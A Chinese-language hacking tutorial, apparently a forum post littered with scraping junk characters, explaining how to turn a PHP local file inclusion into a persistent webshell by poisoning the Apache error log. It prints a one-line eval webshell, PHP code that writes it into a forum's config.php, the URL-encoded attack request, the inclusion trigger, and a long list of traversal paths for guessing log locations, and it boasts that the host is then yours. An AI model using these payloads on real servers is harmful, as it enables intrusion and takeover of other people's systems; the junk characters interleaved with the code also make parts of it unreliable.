因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 ) O. k8 o; r* z+ h& ?1 L1 S
8 E' Q0 k, U7 I6 B# A* P, F! P
比如还是这句一句话木马 . y Y) m' L* m
<?eval($_POST[cmd]);?>
! \, l- X8 V& r9 @" l- w& p+ o' T9 C1 p1 X! q4 b' g
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, 4 z' {1 r8 ~8 U4 S
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
. m* t+ b7 P: Y# i$ z, W% j; q2 _# \- [' V e
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
+ ~2 n# l- T/ Efclose($fp);?> //在config.php里写入一句木马语句
6 G( t# G' t8 _# [5 I. i, S4 f$ D, n
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
2 ]7 C( ?1 O! z; X2 m0 |转换为 0 ?" c% ~3 ~" Q" j6 W! O) |
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F ) y9 Z: H: m ^7 Q) j, E& K
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp . I0 h9 L* }. r. D
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B Q8 r+ _7 e7 r f; J$ r
fclose%28%24fp%29%3B%3F%3E . a* z" v M; |
我们提交 8 G- K1 A4 V' g
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww ; Q: F/ z! S c# V" O7 v
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp ! P r) c g9 Z4 q
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
/ D$ s( G5 Q v0 `+ R+ `cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
* d" n1 j# K( u1 S* @
4 i% o/ y+ Z$ H/ ^5 v% H" |. P1 m这样就错误日志里就记录下了这行写入webshell的代码。 ) ?; g- F$ V6 E4 L! A5 N. M2 i6 I% E
我们再来包含日志,提交
9 J' n4 x, J ?8 q0 M$ f$ ~http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log " s2 g3 N7 }. { o0 O0 e/ S
( G( k; a; O% D4 ?# c, c. w这样webshell就写入成功了,config.php里就写入一句木马语句
; l a' `0 ~* F: C \/ I) jOK.
! Z5 K) ? x# w5 C8 ehttp://www.xxx.com/forum/config.php这个就成了我们的webshell ! m- M( ?) M! W& |3 P {- u
直接用lanker的客户端一连,主机就是你的了。 ; G& E8 j/ J9 y E
# v+ N# k. e& C6 }$ h/ fPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
6 R# j* h1 y) Q8 \1 y3 O+ ~# h$ J3 c! m& T" A
其他的日志路径,你可以去猜,也可以参照这里。 ! v% u" Q# c+ E2 }
../../../../../../../../../../var/log/httpd/access_log 8 _9 s, S' B( b1 w, C2 D) T+ R* G
../../../../../../../../../../var/log/httpd/error_log ( \" W: P$ }/ W5 S, {
../apache/logs/error.log . @0 F7 h* ? a/ H+ U! S
../apache/logs/access.log 4 |( j, B1 x. }4 u# m9 W+ e
../../apache/logs/error.log
( K2 k4 B4 K) E; u' F* z) N& Q../../apache/logs/access.log * k6 n4 U* i0 Y8 G* x9 c+ i
../../../apache/logs/error.log & G0 p* t" n$ h) x
../../../apache/logs/access.log ( a4 B- T& {+ ?
../../../../../../../../../../etc/httpd/logs/acces_log
- P9 w) U' t5 w0 G6 U5 j' c# H7 ~../../../../../../../../../../etc/httpd/logs/acces.log , M! L( |9 E1 g! ?! S/ U% e* j1 j
../../../../../../../../../../etc/httpd/logs/error_log ) [2 F) M+ q& Z( T& L& k
../../../../../../../../../../etc/httpd/logs/error.log 8 i) B! x3 A( `6 o
../../../../../../../../../../var/www/logs/access_log ' X& ]6 Z8 n3 f3 B
../../../../../../../../../../var/www/logs/access.log
8 @) e4 b. q/ F../../../../../../../../../../usr/local/apache/logs/access_log " }$ `7 ^" B/ N( E1 \* o7 E
../../../../../../../../../../usr/local/apache/logs/access.log
% r6 b) Z/ O+ l5 T7 X../../../../../../../../../../var/log/apache/access_log 3 |' M. g, x2 T, C! w# ^- Z5 x! v
../../../../../../../../../../var/log/apache/access.log 5 H6 b3 I* ?2 B% x
../../../../../../../../../../var/log/access_log
P6 o! v$ i q( p8 H# u* }% C../../../../../../../../../../var/www/logs/error_log
6 N+ W9 W3 G/ S4 }5 P" X../../../../../../../../../../var/www/logs/error.log
. [) z5 H! z# m/ a: O: ]. m( T../../../../../../../../../../usr/local/apache/logs/error_log
) ]& p9 w! A& f% v4 t# [% h6 q& A../../../../../../../../../../usr/local/apache/logs/error.log
+ F. x2 F n& n3 G M6 `: X../../../../../../../../../../var/log/apache/error_log 2 v/ w0 N, F% |# f; i" ?
../../../../../../../../../../var/log/apache/error.log ; v# p5 B* W1 w* m( z" n
../../../../../../../../../../var/log/access_log U+ s) R7 \, x
../../../../../../../../../../var/log/error_log 1 \0 y3 M5 b/ c
/var/log/httpd/access_log 1 K3 k; _4 H4 m5 I' y) ]
/var/log/httpd/error_log + U/ f( ~. O( b; x
../apache/logs/error.log 6 p7 J0 n2 ?3 J% j/ D9 O
../apache/logs/access.log
) M+ B0 f0 F. i. l' p& h& h2 [0 _5 U, ]7 f../../apache/logs/error.log ) U$ h0 q( H/ Y: n
../../apache/logs/access.log , w7 ^1 E, i4 \" H- `
../../../apache/logs/error.log ; L/ R& j' |) D% u: l
../../../apache/logs/access.log
7 x$ e0 O5 r0 p F/etc/httpd/logs/acces_log % q; l8 s; g$ K0 Z0 E2 a% t: T
/etc/httpd/logs/acces.log + m$ D. Q* Y7 f, f x) N3 R
/etc/httpd/logs/error_log 7 |- S% u% Z* x
/etc/httpd/logs/error.log * }5 C# I; N A! J x
/var/www/logs/access_log * ~/ j: ^+ e. h. T
/var/www/logs/access.log ' W4 j6 e( h; s! S! p) `% x# s, M
/usr/local/apache/logs/access_log / N' f% z2 g6 ^0 }* J: K0 d
/usr/local/apache/logs/access.log + }6 c+ X1 W3 v
/var/log/apache/access_log ; S& o4 x6 g U% Z/ O5 Z: o
/var/log/apache/access.log
% i4 o y. N$ t' m) s! }# P/var/log/access_log
+ p- \: s$ d4 _/var/www/logs/error_log 9 i* ]* j7 @: t( i: Z9 O/ Z, b
/var/www/logs/error.log
) j/ W5 Y5 P) Z/usr/local/apache/logs/error_log
/ v( O! b' X, K$ E0 Q/usr/local/apache/logs/error.log
5 | d; k& m4 m" A2 [7 g* g/var/log/apache/error_log
$ A& n* y i; W$ P b; v5 f/var/log/apache/error.log 5 ~* S2 P9 V# \& ]. R, k; E
/var/log/access_log + U/ z. M) K- `0 C( ~" U
/var/log/error_log |